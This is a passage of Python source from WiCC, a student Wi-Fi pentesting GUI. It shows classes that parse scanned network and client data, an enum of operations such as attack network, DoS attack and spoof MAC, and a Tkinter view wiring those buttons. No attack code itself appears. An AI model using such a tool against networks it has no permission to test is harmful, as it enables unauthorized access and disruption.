...) 44 | :param power: int for the dBm of power of the interface 45 | :param channel: int for the selected channel 46 | :return: 47 | """ 48 | interface = Interface(name, address, type, power, channel) 49 | if not self.interfaces.__contains__(interface): 50 | self.interfaces.append(interface) 51 | 52 | def set_networks(self, networks): 53 | """ 54 | Creates the new networks based on the list of parameters recevied 55 | :param networks: list of lists of network parameters 56 | :return: 57 | """ 58 | list_networks = [] 59 | 60 | first_time_empty = False 61 | id = 1 62 | 63 | for network in networks: 64 | # id = "" 65 | bssid = "" 66 | first_seen = "" 67 | last_seen = "" 68 | channel = 0 69 | speed = 0 70 | privacy = "" 71 | cipher = "" 72 | authentication = "" 73 | power = 0 74 | beacons = 0 75 | ivs = 0 76 | lan_ip = "" 77 | essid = "" 78 | handshake = False 79 | password = "" 80 | clients = 0 81 | 82 | cont = 0 83 | 84 | for pair in network: 85 | if cont == 0: 86 | bssid = pair 87 | elif cont == 1: 88 | first_seen = pair 89 | elif cont == 2: 90 | last_seen = pair 91 | elif cont == 3: 92 | channel = pair 93 | elif cont == 4: 94 | speed = pair 95 | elif cont == 5: 96 | privacy = pair 97 | elif cont == 6: 98 | cipher = pair 99 | elif cont == 7: 100 | authentication = pair 101 | elif cont == 8: 102 | power = pair 103 | elif cont == 9: 104 | beacons = pair 105 | elif cont == 10: 106 | ivs = pair 107 | elif cont == 11: 108 | lan_ip = pair 109 | elif cont == 13: 110 | # parameter 12 shows the length of the essid, so it's not necessary 111 | essid = pair 112 | # handshake and password aren't read from the interface list 113 | 114 | cont += 1 115 | 116 | if bssid == '': 117 | if first_time_empty: 118 | break 119 | first_time_empty = True 120 | elif bssid != 'BSSID': 121 | list_networks.append(Network(id, bssid, first_seen, last_seen, channel, speed, privacy, cipher, 122 | authentication, power, beacons, ivs, lan_ip, essid, handshake, 123 | password, clients)) 124 | id += 1 125 | self.networks = list_networks 126 | 127 | def set_clients(self, clients): 128 | """ 129 | Given a list of parameters of clients, filters them and creates and store those clients 130 | :param clients: lists of lists of parameters of clients 131 | :return: 132 | """ 133 | list_clients = [] 134 | id = 1 135 | for client in clients: 136 | station_MAC = "" 137 | first_seen = "" 138 | last_seen = "" 139 | power = 0 140 | packets = 0 141 | bssid = "" 142 | probed_bssids = "" 143 | 144 | cont = 0 145 | for pair in client: 146 | if cont == 0: 147 | station_MAC = pair 148 | elif cont == 1: 149 | first_seen = pair 150 | elif cont == 2: 151 | last_seen = pair 152 | elif cont == 3: 153 | power = pair 154 | elif cont == 4: 155 | packets = pair 156 | elif cont == 5: 157 | bssid = pair 158 | elif cont == 6: 159 | probed_bssids = pair 160 | cont += 1 161 | if bssid != ' (not associated) ': 162 | client = Client(id, station_MAC, first_seen, last_seen, power, packets, bssid, probed_bssids) 163 | list_clients.append(client) 164 | self.add_client_network(bssid, client) 165 | id += 1 166 | 167 | self.clients = list_clients 168 | 169 | def add_client_network(self, bssid, client): 170 | """ 171 | Add a client to the specified network. Searchs for the network and calls the method to add one client. 172 | :param bssid: bssid of the network 173 | :return: 174 | """ 175 | for network in self.networks: 176 | if network.get_bssid() == bssid[1:]: 177 | network.add_client(client) 178 | return 179 | 180 | def compare_interfaces(self, interfaces): 181 | """ 182 | Compares a given list of interfaces with the local ones. Checks the names. 183 | :param interfaces: List of parameters of interfaces 184 | :return: boolean depending on whether both lists are equivalent 185 | """ 186 | for interface in interfaces: 187 | for local_interface in self.interfaces: 188 | if str(interface[0]) == str(local_interface.get_name()): 189 | return True 190 | return False 191 | 192 | def get_parameters(self): 193 | """ 194 | Creates a list of parameters for both interfaces and networks. 195 | Will be used by the view to print these parameters 196 | :return: list of parameters of all interfaces, list of parameters of all networks 197 | 198 | :author: Miguel Yanes Fernández & Pablo Sanz Alguacil 199 | """ 200 | list_interfaces = [] 201 | for object in self.interfaces: 202 | list_interfaces.append(object.get_list()) 203 | list_networks = [] 204 | 205 | if self.network_filters[1]: 206 | for network in self.networks: 207 | if network.get_clients() != 0: 208 | list_networks.append(network.get_list()) 209 | else: 210 | for object in self.networks: 211 | list_networks.append(object.get_list()) 212 | 213 | return list_interfaces, list_networks 214 | 215 | def search_network(self, network_id): 216 | """ 217 | Search a network given an id 218 | :param network_id: id of the network 219 | :return: network object, if found 220 | 221 | :Author: Miguel Yanes Fernández 222 | """ 223 | for network in self.networks: 224 | if network.get_id() == network_id: 225 | return network 226 | return None 227 | 228 | def get_interfaces(self): 229 | """ 230 | Get the interfaces array 231 | :return: interfaces 232 | 233 | :Author: Miguel Yanes Fernández 234 | """ 235 | return self.interfaces 236 | 237 | def get_mac(self, interface_name): 238 | """ 239 | Returns an inteface's mac 240 | :param interface_name: 241 | :return: mac address 242 | 243 | :author: Miguel Yanes Fernández 244 | """ 245 | for interface in self.interfaces: 246 | if interface.get_name() == interface_name: 247 | return interface.get_address() 248 | 249 | def set_filters(self, wps_filter_status, clients_filter_status): 250 | """ 251 | Sets the filters for the networks. 252 | :param wps_filter_status: 253 | :param clients_filter_status: 254 | :return: 255 | 256 | :author: Pablo Sanz Alguacil 257 | """ 258 | self.network_filters[0] = wps_filter_status 259 | self.network_filters[1] = clients_filter_status 260 | 261 | def clear_interfaces(self): 262 | """ 263 | Resets the interfaces variable 264 | :return: none 265 | 266 | :Author: Miguel Yanes Fernández 267 | """ 268 | self.interfaces = [] 269 | 270 | def clear_networks(self): 271 | """ 272 | Resets the networks variable 273 | :return: none 274 | 275 | :Author: Miguel Yanes Fernández 276 | """ 277 | self.networks = [] 278 | 279 | def add_net_attack(self, mac, object_reference): 280 | """ 281 | Add a net_attack object, inlcudin the network mac (bssid) 282 | :param mac: network mac 283 | :param object_reference: net_attack object reference 284 | :return: none 285 | 286 | :Author: Miguel Yanes Fernández 287 | """ 288 | self.net_attack_instances.append([mac, object_reference]) 289 | 290 | def get_net_attack(self, mac): 291 | """ 292 | Search a net attack object with a given mac address 293 | :param mac: mac address of the network 294 | :return: net attack object, if found 295 | 296 | :author: Miguel Yanes Fernández 297 | """ 298 | for i in range(0, len(self.net_attack_instances)): 299 | if self.net_attack_instances[i][0] == mac: 300 | return self.net_attack_instances[i][1] 301 | return None 302 | 303 | -------------------------------------------------------------------------------- /wicc_network.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | 12 | class Network: 13 | id = "" 14 | bssid = "" 15 | first_seen = "" 16 | last_seen = "" 17 | channel = 0 18 | speed = 0 19 | privacy = "" 20 | cipher = "" 21 | authentication = "" 22 | power = 0 23 | beacons = 0 24 | ivs = 0 25 | lan_ip = "" 26 | essid = "" 27 | handshake = False 28 | password = "" 29 | num_clients = 0 30 | clients = [] 31 | 32 | def __init__(self, id, bssid, first_seen, last_seen, channel, speed, privacy, cipher, authentication, power, 33 | beacons, ivs, lan_ip, essid, handshake, password, num_clients): 34 | """ 35 | Constructor for the Network class 36 | :param id: string. Id of the network 37 | :param bssid: string. Address of the network 38 | :param first_seen: date. Date when the network was seen the first time 39 | :param last_seen: date. Date when the network was seen the last time 40 | :param channel: int. Channel where the network is working on 41 | :param speed: int. Speed of the connection 42 | :param privacy: string. Type of privacy being used. EX: WPA, WPA2, WEP 43 | :param cipher: string. Type of cipher. EX: CCMP 44 | :param authentication: string. Type of authentication. EX: PSK 45 | :param power: int. Power of the network 46 | :param beacons: int. Number of beacons detected on the network 47 | :param ivs: int. Number of IV's 48 | :param lan_ip: string. **not really sure what this is** 49 | :param essid: string. Name of the network (in case it has one) 50 | :param handshake: boolean. Boolean if a handshake has been captured in the network 51 | :param password: boolean. Boolean if the password has been cracked for the network 52 | :param clients: number of connected clients on the network 53 | """ 54 | self.id = id 55 | self.bssid = bssid 56 | self.first_seen = first_seen 57 | self.last_seen = last_seen 58 | self.channel = channel 59 | self.speed = speed 60 | self.privacy = privacy 61 | self.cipher = cipher 62 | self.authentication = authentication 63 | self.power = power 64 | self.beacons = beacons 65 | self.ivs = ivs 66 | self.lan_ip = lan_ip 67 | self.essid = essid 68 | self.handshake = handshake 69 | self.password = password 70 | self.num_clients = num_clients 71 | self.clients = [] 72 | 73 | def __str__(self): 74 | """ 75 | Creates a string with the class parameters 76 | :return: string of parameters 77 | """ 78 | output = "" 79 | output.__add__("ID: " + str(self.id)) 80 | output.__add__(" BSSID: " + self.bssid) 81 | output.__add__(" First Seen: " + self.first_seen) 82 | output.__add__(" Last Seen: " + self.last_seen) 83 | output.__add__(" Channel: " + str(self.channel)) 84 | output.__add__(" Speed: " + str(self.speed)) 85 | output.__add__(" Privacy: " + self.privacy) 86 | output.__add__(" Cipher:" + self.cipher) 87 | output.__add__(" Authentication: " + self.authentication) 88 | output.__add__(" Power: " + str(self.power)) 89 | output.__add__(" Beacons: " + str(self.beacons)) 90 | output.__add__(" IVs: " + str(self.ivs)) 91 | output.__add__(" LAN-IP: " + self.lan_ip) 92 | output.__add__(" ESSID: " + self.essid) 93 | output.__add__(" Handshake: " + str(self.handshake)) 94 | output.__add__(" Password: " + self.password) 95 | output.__add__(" Clients: " + str(self.clients)) 96 | return output 97 | 98 | def get_list(self): 99 | """ 100 | Generates a list with the class parameters 101 | :return: list of parameters (will be used by the view to print the networks) 102 | """ 103 | list = [] 104 | list.append(self.id) 105 | list.append(self.bssid) 106 | list.append(self.first_seen) 107 | list.append(self.last_seen) 108 | list.append(self.channel) 109 | list.append(self.speed) 110 | list.append(self.privacy) 111 | list.append(self.cipher) 112 | list.append(self.authentication) 113 | list.append(self.power) 114 | list.append(self.beacons) 115 | list.append(self.ivs) 116 | list.append(self.lan_ip) 117 | list.append(self.essid) 118 | list.append(self.handshake) 119 | list.append(self.password) 120 | list.append(self.num_clients) 121 | list.append(self.clients) 122 | return list 123 | 124 | def add_client(self, client): 125 | """ 126 | Sum 1 to the number of connected clients on the network 127 | :return: 128 | """ 129 | self.clients.append(client) 130 | self.num_clients += 1 131 | 132 | def get_first_client(self): 133 | if self.clients: 134 | return self.clients[0] 135 | 136 | def get_bssid(self): 137 | return self.bssid 138 | 139 | def get_essid(self): 140 | return self.essid 141 | 142 | def get_channel(self): 143 | return self.channel 144 | 145 | def get_encryption(self): 146 | return self.privacy 147 | 148 | def get_id(self): 149 | return self.id 150 | 151 | def get_clients(self): 152 | return self.num_clients 153 | 154 | -------------------------------------------------------------------------------- /wicc_operations.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | 12 | class Operation: 13 | """ 14 | Enumeration class for the operations used in the notifys between View and Control 15 | """ 16 | SELECT_INTERFACE = "Select interface" 17 | SELECT_NETWORK = "Select network" 18 | ATTACK_NETWORK = "Attack network" 19 | STOP_SCAN = "Stop scan" 20 | STOP_RUNNING = "Stop running" 21 | RANDOMIZE_MAC = "Randomize mac" 22 | CUSTOMIZE_MAC = "Customize mac" 23 | RESTORE_MAC = "Restore mac" 24 | SPOOF_MAC = "Spoof mac" 25 | SELECT_CUSTOM_WORDLIST = "Select custom wordlist" 26 | SCAN_OPTIONS = "Scan Options" 27 | CHECK_MAC = "Check mac" 28 | PATH_GENERATED_LISTS = "Path generated lists" 29 | GENERATE_LIST = "Generate list" 30 | SELECT_TEMPORARY_FILES_LOCATION = "Select temporary files location" 31 | START_SCAN_WPA = "Start scan wpa" 32 | SILENT_SCAN = "Silent Scan" 33 | OPEN_CRACKED = "open cracked" 34 | DOS_ATTACK = "start dos attack" 35 | DECRYPT_FILE = "decrypt file" 36 | 37 | -------------------------------------------------------------------------------- /wicc_view.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | WiCC (Wifi Cracking Camp) 5 | GUI tool for wireless pentesting on WEP and WPA/WPA2 networks. 6 | Project developed by Pablo Sanz Alguacil, Miguel Yanes Fernández and Adan Chalkley, 7 | as the Group Project for the 3rd year of the Bachelor of Sicence in Computing in Digital Forensics and CyberSecurity 8 | at TU Dublin - Blanchardstown Campus 9 | """ 10 | 11 | import webbrowser 12 | from tkinter import * 13 | from tkinter import Tk, ttk, Frame, Button, Label, Checkbutton, Menu, RIGHT, N, E, S, W, END, StringVar, \ 14 | messagebox, filedialog 15 | from wicc_operations import Operation 16 | from wicc_view_dos import DoS 17 | from wicc_view_wordlist import GenerateWordlist 18 | from wicc_view_mac import ViewMac 19 | from wicc_view_splash import Splash 20 | from wicc_view_popup import PopUpWindow 21 | from wicc_view_about import About 22 | 23 | 24 | class View: 25 | control = "" 26 | interfaces = "" 27 | networks = "" 28 | width = 850 29 | height = 470 30 | interfaces_old = [] 31 | networks_old = [] 32 | encryption_types = ('ALL', 'WEP', 'WPA') 33 | channels = ('ALL', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14') 34 | mac_spoofing_status = False 35 | silent_mode_status = False 36 | icon_path = "resources/icon.png" 37 | icon_path_small = "resources/icon_small.png" 38 | 39 | def __init__(self, control): 40 | self.control = control 41 | self.splash = Splash() 42 | self.popup_gen = PopUpWindow() 43 | 44 | def build_window(self): 45 | """ 46 | Generates the window. 47 | 48 | :author: Pablo Sanz Alguacil 49 | """ 50 | 51 | self.root = Tk() 52 | self.root.protocol("WM_DELETE_WINDOW", self.notify_kill) 53 | try: 54 | self.root.style = ttk.Style() 55 | self.root.style.theme_use('default') 56 | except: 57 | pass 58 | # get screen width and height 59 | ws = self.root.winfo_screenwidth() 60 | hs = self.root.winfo_screenheight() 61 | # calculate position x, y 62 | x = (ws / 2) - (self.width / 2) 63 | y = (hs / 2) - (self.height / 2) 64 | self.root.geometry('%dx%d+%d+%d' % (self.width, self.height, x, y)) 65 | self.root.resizable(width=False, height=False) 66 | self.root.title('WiCC - Wifi Cracking Camp') 67 | icon = Image("photo", file=self.icon_path_small) 68 | self.root.call('wm', 'iconphoto', self.root._w, icon) 69 | 70 | # MENU BAR 71 | self.menubar = Menu(self.root) 72 | self.root['menu'] = self.menubar 73 | 74 | self.file_menu = Menu(self.menubar) 75 | self.tools_menu = Menu(self.menubar) 76 | self.help_menu = Menu(self.menubar) 77 | self.menubar.add_cascade(menu=self.file_menu, label='File') 78 | self.menubar.add_cascade(menu=self.tools_menu, label='Tools') 79 | self.menubar.add_cascade(menu=self.help_menu, label='Help') 80 | 81 | # MENU 1 82 | self.file_menu.add_command(label='Show cracked passwords', 83 | command=self.show_cracked_passwords, 84 | underline=13, 85 | compound=LEFT) 86 | 87 | self.file_menu.add_command(label='Temporary files location', 88 | command=self.temporary_files_location, 89 | underline=0, 90 | compound=LEFT) 91 | 92 | self.file_menu.add_command(label='Select wordlist', 93 | command=self.select_custom_wordlist, 94 | underline=7, 95 | compound=LEFT) 96 | 97 | self.file_menu.add_command(label='Exit', 98 | command=self.notify_kill, 99 | underline=0, 100 | compound=LEFT) 101 | 102 | 103 | 104 | # MENU 2 105 | self.tools_menu.add_command(label='MAC menu', 106 | command=self.mac_tools_window, 107 | underline=0, 108 | compound=LEFT) 109 | 110 | self.tools_menu.add_command(label='Generate wordlist', 111 | command=self.generate_wordlists_window, 112 | underline=0, 113 | compound=LEFT) 114 | 115 | self.tools_menu.add_command(label='Decrypt capture file', 116 | command=self.decrypt_cap_file, 117 | underline=0, 118 | compound=LEFT) 119 | 120 | # MENU 3 121 | self.help_menu.add_command(label='Help', 122 | command=self.open_link, 123 | underline=0, 124 | compound=LEFT) 125 | 126 | self.help_menu.add_command(label='About', 127 | command=self.show_about, 128 | underline=0, 129 | compound=LEFT) 130 | 131 | # LABEL FRAME - SCAN 132 | self.labelframe_scan = LabelFrame(self.root, text="Scan") 133 | self.labelframe_scan.pack(fill="both", expand="yes") 134 | 135 | # LABEL FRAME - FILTERS 136 | self.labelframe_filters = LabelFrame(self.root, text="Optional Filters") 137 | self.labelframe_filters.pack(fill="both", expand="yes") 138 | 139 | # LABEL FRAME - AVAILABLE NETWORKS 140 | self.labelframe_networks = LabelFrame(self.root, text="Available Networks") 141 | self.labelframe_networks.pack(fill="both", expand="yes") 142 | 143 | # LABEL FRAME - SELECT NETWORK NETWORK 144 | self.labelframe_sel_net = LabelFrame(self.root, text="") 145 | self.labelframe_sel_net.pack(fill="both", expand="yes") 146 | self.labelframe_sel_net.grid_columnconfigure(1, weight=1) 147 | 148 | # LABEL FRAME - ATTACK OPTIONS 149 | self.labelframe_attack_options = LabelFrame(self.root, text="Attack Options") 150 | self.labelframe_attack_options.pack(fill="both", expand="yes") 151 | 152 | # LABEL FRAME - WEP 153 | self.labelframe_wep = LabelFrame(self.root, text="WEP Attack Options") 154 | 155 | # LABEL FRMAE - WPA 156 | self.labelframe_wpa = LabelFrame("", text="WPA Attack Options") 157 | 158 | # LABEL - INTERFACES 159 | self.label_interfaces = Label(self.labelframe_scan, text="Interface: ") 160 | self.label_interfaces.grid(column=1, row=0, padx=5) 161 | 162 | # COMBO BOX - NETWORK INTERFACES 163 | self.interfaceVar = StringVar() 164 | self.interfaces_combobox = ttk.Combobox(self.labelframe_scan, textvariable=self.interfaceVar, state="readonly") 165 | self.interfaces_combobox['values'] = self.interfaces 166 | self.interfaces_combobox.bind("<>") 167 | self.interfaces_combobox.grid(column=2, row=0) 168 | 169 | # FRAME - START/STOP SCAN 170 | self.frame_start_stop = Frame(self.labelframe_scan) 171 | self.frame_start_stop.grid(column=3, row=0, padx=230, pady=5) 172 | 173 | # BUTTON - START SCAN 174 | self.button_start_scan = Button(self.frame_start_stop, text=' Scan networks ', 175 | command=self.start_scan) 176 | self.button_start_scan.grid(column=1, row=0, padx=5) 177 | 178 | # BUTTON - STOP SCAN 179 | self.button_stop_scan = Button(self.frame_start_stop, text=' Stop scanning ', state=DISABLED, 180 | command=self.stop_scan) 181 | self.button_stop_scan.grid(column=2, row=0, padx=5) 182 | 183 | # LABEL - CHANNELS 184 | self.label_channels = Label(self.labelframe_filters, text="Channel: ", padx=10, pady=10) 185 | self.label_channels.grid(column=1, row=0) 186 | 187 | # COMBO BOX - CHANNELS 188 | self.channelVar = StringVar() 189 | self.channels_combobox = ttk.Combobox(self.labelframe_filters, textvariable=self.channelVar, state="readonly") 190 | self.channels_combobox['values'] = self.channels 191 | self.channels_combobox.bind("<>") 192 | self.channels_combobox.current(0) 193 | self.channels_combobox.grid(column=2, row=0) 194 | 195 | # LABEL - ENCRYPTIONS 196 | self.label_encryptions = Label(self.labelframe_filters, text="Encryption: ") 197 | self.label_encryptions.grid(column=3, row=0, padx=5) 198 | 199 | # COMBO BOX - ENCRYPTOION 200 | self.encryptionVar = StringVar() 201 | self.encryption_combobox = ttk.Combobox(self.labelframe_filters, textvariable=self.encryptionVar, 202 | state="readonly") 203 | self.encryption_combobox['values'] = self.encryption_types 204 | self.encryption_combobox.current(0) 205 | self.encryption_combobox.bind("<>") 206 | self.encryption_combobox.grid(column=4, row=0) 207 | 208 | # CHECKBOX - CLIENTS 209 | self.clients_status = BooleanVar() 210 | self.clients_checkbox = Checkbutton(self.labelframe_filters, text="Only clients", 211 | variable=self.clients_status) 212 | self.clients_checkbox.grid(column=5, row=0, padx=15) 213 | 214 | # TREEVIEW - NETWORKS 215 | self.networks_treeview = ttk.Treeview(self.labelframe_networks) 216 | self.networks_treeview["columns"] = ("id", "bssid_col", "channel_col", "encryption_col", "power_col", 217 | "clients_col") 218 | self.networks_treeview.column("id", width=60) 219 | self.networks_treeview.column("bssid_col", width=150) 220 | self.networks_treeview.column("channel_col", width=60) 221 | self.networks_treeview.column("encryption_col", width=85) 222 | self.networks_treeview.column("power_col", width=70) 223 | self.networks_treeview.column("clients_col", width=60) 224 | 225 | self.networks_treeview.heading("id", text="ID") 226 | self.networks_treeview.heading("bssid_col", text="BSSID") 227 | self.networks_treeview.heading("channel_col", text="CH") 228 | self.networks_treeview.heading("encryption_col", text="ENC") 229 | self.networks_treeview.heading("power_col", text="PWR") 230 | self.networks_treeview.heading("clients_col", text="CLNTS") 231 | 232 | self.scrollBar = Scrollbar(self.labelframe_networks) 233 | self.scrollBar.pack(side=RIGHT, fill=Y) 234 | self.scrollBar.config(command=self.networks_treeview.yview) 235 | self.networks_treeview.config(yscrollcommand=self.scrollBar.set) 236 | 237 | self.networks_treeview.pack(fill=X) 238 | 239 | # BUTTON - SELECT NETWORK 240 | self.button_select_network = Button(self.labelframe_sel_net, text="1 - Select network", 241 | command=self.select_network, state=DISABLED) 242 | self.button_select_network.grid(column=1, row=0, padx=5, pady=5, sticky=W + E + N + S) 243 | 244 | # CHECKBUTTON - SILENT MODE 245 | self.checkbutton_silent = Checkbutton(self.labelframe_sel_net, text="Silent Mode", 246 | command=self.silent_mode) 247 | self.checkbutton_silent.grid(column=2, row=0, padx=5, pady=5, sticky=W) 248 | 249 | # CHECKBUTTON - SILENT MODE 250 | self.button_select_wordlist = Button(self.labelframe_sel_net, text=" Select wordlist", 251 | command=self.select_custom_wordlist) 252 | self.button_select_wordlist.grid(column=3, row=0, padx=5, pady=5, sticky=W) 253 | 254 | # LABEL - NULL LABEL 255 | self.label_info_attack = Label(self.labelframe_attack_options, 256 | text="Select a network to see the available options") 257 | self.label_info_attack.grid(column=0, row=0, padx=5) 258 | 259 | # BUTTON - START ATTACK WEP 260 | self.button_start_attack_wep = Button(self.labelframe_wep, text="2 - Attack", command=self.start_attack) 261 | self.button_start_attack_wep.grid(column=0, row=0, padx=5) 262 | 263 | # BUTTON - DOS ATTACK WEP 264 | self.button_dos_wep = Button(self.labelframe_wep, text="DoS Attack", command=self.dos_attack) 265 | self.button_dos_wep.grid(column=1, row=0, padx=640) 266 | 267 | # BUTTON - SCAN WPA 268 | self.button_scan_wpa = Button(self.labelframe_wpa, text="2 - Capture handshake", command=self.start_scan_wpa) 269 | self.button_scan_wpa.grid(column=0, row=0, padx=5) 270 | 271 | # BUTTON - START ATTACK WPA 272 | self.button_start_attack_wpa = Button(self.labelframe_wpa, text="3 - Attack", command=self.start_attack) 273 | self.button_start_attack_wpa.grid(column=1, row=0, padx=5) 274 | 275 | # BUTTON - DOS ATTACK WPA 276 | self.button_dos_wpa = Button(self.labelframe_wpa, text="DoS Attack", command=self.dos_attack) 277 | self.button_dos_wpa.grid(column=2, row=0, padx=455) 278 | 279 | self.root.mainloop() 280 | 281 | def select_network(self): 282 | """ 283 | Changes the attack labelframe to WEP or WPA depending on the selected network. Then ends the selected network to 284 | Control. 285 | 286 | :author: Pablo Sanz Alguacil 287 | """ 288 | try: 289 | current_item = self.networks_treeview.focus() 290 | network_enc = self.networks_treeview.item(current_item)['values'][3] 291 | network_id = self.networks_treeview.item(current_item)['values'][0] 292 | 293 | if "WEP" in network_enc: 294 | self.labelframe_attack_options.pack_forget() 295 | self.labelframe_wpa.pack_forget() 296 | self.labelframe_wep.pack(fill="both", expand="yes") 297 | elif "WPA" in network_enc: 298 | self.labelframe_attack_options.pack_forget() 299 | self.labelframe_wep.pack_forget() 300 | self.labelframe_wpa.pack(fill="both", expand="yes") 301 | 302 | self.send_notify(Operation.SELECT_NETWORK, network_id) 303 | 304 | except: 305 | self.send_notify(Operation.SELECT_NETWORK, "") 306 | 307 | def start_scan(self): 308 | """ 309 | Sends filters to Control and the sends the selected interface to Control to start scanning. 310 | Activates button dehabilitation. 311 | 312 | :author: Pablo Sanz Alguacil 313 | """ 314 | 315 | self.set_buttons(False) 316 | self.send_notify(Operation.SCAN_OPTIONS, self.apply_filters()) 317 | self.send_notify(Operation.SELECT_INTERFACE, self.interfaceVar.get()) 318 | 319 | def stop_scan(self): 320 | """ 321 | Sends the stop scannig order to Control. 322 | Deactivates buttons dehabilitation. 323 | 324 | :author: Pablo Sanz Alguacil 325 | """ 326 | 327 | self.set_buttons(True) 328 | self.send_notify(Operation.STOP_SCAN, "") 329 | 330 | def set_buttons(self, status): 331 | """ 332 | Sets all buttons state to "ACTIVE" or "DISABLED". 333 | 334 | :param status: boolean 335 | :author: Pablo Sanz Alguacil 336 | """ 337 | if status: 338 | state = ACTIVE 339 | self.button_stop_scan['state'] = DISABLED 340 | self.menubar.entryconfig("File", state="normal") 341 | self.menubar.entryconfig("Tools", state="normal") 342 | self.menubar.entryconfig("Help", state="normal") 343 | else: 344 | state = DISABLED 345 | self.button_stop_scan['state'] = ACTIVE 346 | self.menubar.entryconfig("File", state="disabled") 347 | self.menubar.entryconfig("Tools", state="disabled") 348 | self.menubar.entryconfig("Help", state="disabled") 349 | 350 | self.interfaces_combobox['state'] = state 351 | self.encryption_combobox['state'] = state 352 | self.channels_combobox['state'] = state 353 | self.clients_checkbox['state'] = state 354 | self.button_start_scan['state'] = state 355 | self.button_select_network['state'] = state 356 | self.checkbutton_silent['state'] = state 357 | self.button_start_attack_wep['state'] = state 358 | self.button_scan_wpa['state'] = state 359 | self.button_start_attack_wpa['state'] = state 360 | self.checkbutton_silent['state'] = state 361 | self.button_select_wordlist['state'] = state 362 | self.button_dos_wep['state'] = state 363 | self.button_dos_wpa['state'] = state 364 | 365 | 366 | def start_attack(self): 367 | """ 368 | Sends an order d to Control, to start the attack. 369 | 370 | :author: Pablo Sanz Alguacil 371 | """ 372 | 373 | self.send_notify(Operation.ATTACK_NETWORK, "") 374 | 375 | def notify_kill(self): 376 | """ 377 | Sends and order to kill all processes when X is clicked 378 | 379 | :author: Pablo Sanz Alguacil 380 | """ 381 | 382 | self.send_notify(Operation.STOP_RUNNING, "") 383 | 384 | def reaper_calls(self): 385 | """ 386 | Receives a notification to kill root 387 | 388 | :author: Pablo Sanz Alguacil 389 | """ 390 | 391 | self.root.destroy() 392 | 393 | def select_custom_wordlist(self): 394 | """ 395 | Shows a window to select a custom wordlist to use. Then sends the path to control. 396 | 397 | :author: Pablo Sanz Alguacil 398 | """ 399 | select_window = filedialog.askopenfilename(parent=self.root, 400 | initialdir='/home', 401 | title='Choose wordlist file', 402 | filetypes=[('Text files', '.txt'), 403 | ('List files', '.lst'), 404 | ("All files", "*.*")]) 405 | if select_window: 406 | try: 407 | self.send_notify(Operation.SELECT_CUSTOM_WORDLIST, select_window) 408 | except: 409 | self.popup_gen.error("Open Source File", "Failed to read file \n'%s'" % select_window) 410 | return 411 | 412 | def randomize_mac(self): 413 | """ 414 | Generates a popup window asking for authorisation to change the MAC, then sends the randomize order to Control, 415 | and shows another popup showing the new MAC. 416 | 417 | :author: Pablo Sanz Alguacil 418 | """ 419 | if self.interfaceVar.get() != "": 420 | current_mac_alert = self.popup_gen.yesno("", "Your current MAC is: " + self.current_mac() 421 | + "\n\nAre you sure you want to change it? ") 422 | if current_mac_alert: 423 | self.send_notify(Operation.RANDOMIZE_MAC, self.interfaceVar.get()) 424 | self.popup_gen.info("", "Your new MAC is: " + self.current_mac()) 425 | else: 426 | self.popup_gen.warning("", "No interface selected. Close the window and select one") 427 | 428 | def customize_mac(self, new_mac): 429 | """ 430 | Generates a popup window asking for authorisation to change the MAC, then sends the customize order to Control, 431 | and shows another popup showing the new MAC. 432 | :param new_mac: new MAC to be set 433 | 434 | :author: Pablo Sanz Alguacil 435 | """ 436 | 437 | if self.interfaceVar.get() != "": 438 | current_mac_alert = self.popup_gen.yesno("", "Your current MAC is: " + self.current_mac() 439 | + "\n\nAre you sure you want to change it for\n" + 440 | new_mac + " ?") 441 | if current_mac_alert: 442 | self.send_notify(Operation.CUSTOMIZE_MAC, (self.interfaceVar.get(), new_mac)) 443 | self.popup_gen.info("", "Your new MAC is: " + self.current_mac()) 444 | else: 445 | self.popup_gen.warning("", "No interface selected. Close the window and select one") 446 | 447 | def restore_mac(self): 448 | """ 449 | Generates a popup window asking for authorisation to restore the MAC, then sends the restore order to Control, 450 | and shows another popup showing the new MAC. 451 | 452 | :author: Pablo Sanz Alguacil 453 | """ 454 | 455 | if self.interfaceVar.get() != "": 456 | current_mac_alert = messagebox.askyesno("", "Your current MAC is: " + self.current_mac() 457 | + "\n\nAre you sure you want to restore original?") 458 | if current_mac_alert: 459 | self.send_notify(Operation.RESTORE_MAC, self.interfaceVar.get()) 460 | self.popup_gen.info("", "Your new MAC is: " + self.current_mac()) 461 | else: 462 | self.popup_gen.warning("", "No interface selected. Close the window and select one") 463 | 464 | def spoofing_mac(self, status): 465 | """ 466 | Sends the order to activate MAC spoofing to Control. 467 | :param status: current status of MAC spoofing 468 | 469 | :author: Pablo Sanz Alguacil 470 | """ 471 | 472 | if self.interfaceVar.get() != "": 473 | self.send_notify(Operation.SPOOF_MAC, status) 474 | else: 475 | self.popup_gen.warning("", "No interface selected. Close the window and select one") 476 | 477 | def mac_tools_window(self): 478 | """ 479 | Generates the MAC tools window. 480 | Activates buttons dehabilitation. 481 | 482 | :author: Pablo Sanz Alguacil 483 | """ 484 | 485 | self.disable_window(True) 486 | ViewMac(self, self.mac_spoofing_status) 487 | 488 | def apply_filters(self): 489 | """ 490 | [0]ENCRYPTION (string) 491 | [1]WPS (boolean) 492 | [2]CLIENTS (boolean) 493 | [3]CHANNEL (string) 494 | Sets the filters parameters depending on the options choosed. 495 | :return: array containing filter parameters 496 | 497 | :author: Pablo Sanz Alguacil 498 | """ 499 | 500 | filters_status = ["ALL", False, False, "ALL"] 501 | if self.encryptionVar.get() != "ALL": 502 | 